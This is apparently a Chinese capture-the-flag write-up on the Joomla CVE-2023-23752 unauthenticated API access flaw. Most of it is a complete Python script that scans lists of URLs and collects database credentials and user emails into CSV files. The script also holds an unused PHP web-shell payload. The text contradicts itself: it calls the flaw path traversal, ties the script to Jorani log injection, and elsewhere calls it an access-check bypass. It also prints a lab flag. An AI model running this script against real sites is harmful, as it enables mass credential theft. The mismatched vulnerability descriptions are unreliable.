【春秋云镜】CVE-2023-23752

🕗 发布于 2024-11-05 09:56 网络安全

CVE-2023-23752

是一个影响 Joomla CMS 的未授权路径遍历漏洞。该漏洞出现在 Joomla 4.0.0 至 4.2.7 版本中，允许未经认证的远程攻击者通过特定 API 端点读取服务器上的敏感文件，包括配置文件等，这可能会导致服务器上的敏感信息泄露和进一步的攻击。

漏洞细节

漏洞编号：CVE-2023-23752
影响版本：Joomla 4.0.0 至 4.2.7
漏洞类型：路径遍历 (Directory Traversal)
访问要求：无需身份验证即可访问
利用条件：通过指定的 API 端点，结合路径遍历参数访问系统文件

攻击者通过利用路径遍历技巧向 Joomla 的 API 端点发送特定请求，可以直接访问和读取 Joomla 服务器的敏感文件，如 configuration.php 文件，其中可能包含数据库凭据、加密密钥等关键信息。

漏洞利用示例

攻击者可以通过如下请求来尝试获取配置文件内容：

GET /api/index.php/v1/config/application?path=../../configuration.php HTTP/1.1
Host: target-site.com

在 path 参数中使用路径遍历（如 …/…/）可绕过文件路径限制并访问 Joomla 安装路径外的文件。通过请求配置文件，攻击者能够获取服务器的数据库连接信息、加密密钥等敏感数据。

修复建议

Joomla 已在 4.2.8 版本中修复了该漏洞。建议用户尽快采取以下措施：

升级 Joomla 版本：将 Joomla CMS 升级至 4.2.8 或更高版本。
限制 API 访问：在服务器设置中对 /api/index.php 端点进行访问限制，以避免未经授权的访问。
启用 Web 应用防火墙（WAF）：WAF 可帮助过滤和阻止包含路径遍历特征的恶意请求。

春秋云镜：

Joomla是一个开源免费的内容管理系统（CMS），基于PHP开发。在其4.0.0版本到4.2.7版本中，存在一处属性覆盖漏洞，导致攻击者可以通过恶意请求绕过权限检查，访问任意Rest API。

解法一：

直接利用脚本

"""
CVE-2023-23752 利用：Jorani 1.0.0 中的路径遍历与日志注入漏洞
该漏洞允许攻击者通过路径遍历访问日志文件并注入恶意代码，从而执行远程命令。
"""

import requests
import argparse
import csv
import json
import datetime
import sys
import re
import base64
import random
import string

# 禁用 SSL 不安全请求的警告
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# 定义日志输出的函数，带有颜色显示
def inGreen(s):
    return "\033[0;32m{}\033[0m".format(s)

def inYellow(s):
    return "\033[0;33m{}\033[0m".format(s)

# 定义日志、错误和消息输出函数
def msg(x, y="\n"):
    print(f'\x1b[92m[+]\x1b[0m {x}', end=y)

def err(x, y="\n"):
    print(f'\x1b[91m[x]\x1b[0m {x}', end=y)

def log(x, y="\n"):
    print(f'\x1b[93m[?]\x1b[0m {x}', end=y)

# 正则表达式，用于提取 CSRF 令牌和命令执行结果
CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)

# 定义 API 路径映射
URLS = {
    'login': '/session/login',
    'view': '/pages/view/',
}

# 随机生成一个头字段名，以绕过某些防护机制
HEADER_NAME = ''.join(random.choice(string.ascii_uppercase) for _ in range(12))

# 定义用于绕过重定向保护的请求头
BypassRedirect = {
    'X-REQUESTED-WITH': 'XMLHttpRequest',
    HEADER_NAME: ""
}

# 定义伪终端输入的提示符样式
INPUT = "\x1b[92muser\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ "

# 简化 URL 构造的函数
u = lambda base_url, path_key: base_url + URLS[path_key]

# 注入的恶意 PHP 代码和路径遍历 payload
POISON_PAYLOAD = f"<?php if(isset($_SERVER['HTTP_{HEADER_NAME}'])){{system(base64_decode($_SERVER['HTTP_{HEADER_NAME}']));}} ?>"
PATH_TRAV_PAYLOAD = "../../application/logs"

# 全局变量，用于存储输出文件路径、代理设置和是否禁用颜色输出
output = ""
proxy = {}
notColor = False
timeout = 10  # 添加这行，设置请求超时时间为10秒

def readFile(filepath):
    """读取文件内容，返回每行数据的列表"""
    try:
        with open(filepath, encoding='utf8') as file:
            return file.readlines()
    except Exception as e:
        err(f"读取文件失败: {e}")
        sys.exit(1)

def writeFile(filepath, data):
    """将数据写入 CSV 文件"""
    try:
        with open(filepath, 'a', encoding='utf8', newline='') as file:
            filecsv = csv.writer(file)
            filecsv.writerow(data)
    except Exception as e:
        err(f"写入文件失败: {e}")

def reqDatabase(url):
    """请求数据库配置信息，并提取用户名和密码"""
    # 构造请求 URL
    if url.endswith("/"):
        api_url = f"{url}api/index.php/v1/config/application?public=true"
    else:
        api_url = f"{url}/api/index.php/v1/config/application?public=true"

    # 定义请求头
    headers = {
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'close'
    }

    try:
        # 发送 GET 请求
        response = requests.get(api_url, headers=headers, verify=False, proxies=proxy, timeout=timeout)
        
        # 检查响应内容是否包含用户和密码信息
        if "links" in response.text and "\"password\":" in response.text:
            try:
                rejson = response.json()
                user = ""
                password = ""
                for dataone in rejson['data']:
                    attributes = dataone.get('attributes', {})
                    user = attributes.get('user', "")
                    password = attributes.get('password', "")
                if user or password:
                    printBody = f"[+] [Database]   {url} --> {user} / {password}"
                    if notColor:
                        print(printBody)
                    else:
                        print(inYellow(printBody))
                    if output.strip():
                        writeFile(f"{output}_databaseUserAndPassword.csv", [url, user, password, response.text])
                return url, response.text
            except json.JSONDecodeError:
                err("解析 JSON 失败")
    except requests.RequestException as e:
        err(f"请求数据库信息失败: {e}")

def reqUserAndEmail(url):
    """请求用户和邮箱信息，并提取用户名和邮箱"""
    # 构造请求 URL
    if url.endswith("/"):
        api_url = f"{url}api/index.php/v1/users?public=true"
    else:
        api_url = f"{url}/api/index.php/v1/users?public=true"

    # 定义请求头
    headers = {
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'close'
    }

    try:
        # 发送 GET 请求
        response = requests.get(api_url, headers=headers, verify=False, proxies=proxy, timeout=timeout)
        
        # 检查响应内容是否包含用户名和邮箱信息
        if "username" in response.text and "email" in response.text:
            try:
                rejson = response.json()
                for dataone in rejson['data']:
                    attributes = dataone.get('attributes', {})
                    username = attributes.get('username', "")
                    email = attributes.get('email', "")
                    if username or email:
                        printBody = f"[+] [User&email] {url} --> {username} / {email}"
                        if notColor:
                            print(printBody)
                        else:
                            print(inGreen(printBody))
                        if output.strip():
                            writeFile(f"{output}_usernameAndEmail.csv", [url, username, email, response.text])
                return url, response.text
            except json.JSONDecodeError:
                err("解析 JSON 失败")
    except requests.RequestException as e:
        err(f"请求用户和邮箱信息失败: {e}")

def reqs(listfileName):
    """读取 URL 列表并依次执行数据库和用户信息请求"""
    urls = readFile(listfileName)
    for url in urls:
        url = url.strip()
        if not url:
            continue
        reqDatabase(url)
        reqUserAndEmail(url)

def main():
    """主函数，解析命令行参数并执行相应操作"""
    parser = argparse.ArgumentParser(description="Jorani 1.0.0 CVE-2023-23752 漏洞利用脚本")
    parser.add_argument('-u', '--url', type=str, default="", help="单个测试目标的 URL")
    parser.add_argument('-l', '--listfile', type=str, default="", help="包含测试目标 URL 的文件")
    parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置（不带扩展名）")
    parser.add_argument('-p', '--proxy', type=str, default="", help="代理地址，例如：http://localhost:1080")
    parser.add_argument('-nc', '--notColor', action='store_true', help="禁用带颜色的输出")

    opt = parser.parse_args()
    args = vars(opt)
    url = args['url']
    urlFileName = args['listfile']
    global output, proxy, notColor
    output = args['output']
    if args['proxy']:
        proxy['http'] = args['proxy']
        proxy['https'] = args['proxy']
    notColor = args['notColor']

    if url:
        reqDatabase(url)
        reqUserAndEmail(url)
    if urlFileName:
        reqs(urlFileName)

if __name__ == '__main__':
    main()

flag{631f8b58-cbda-473d-a969-5160c11977be}

解法二：

其本身可利用的api接口

v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id

/api/index.php/v1/config/application?public=true

这里存在的是数据库信息，没有看到有flag
在这里插入图片描述

/api/index.php/v1/users?public=true

查看用户信息，找到flag
在这里插入图片描述

原文地址：https://blog.csdn.net/weixin_49064458/article/details/143484433

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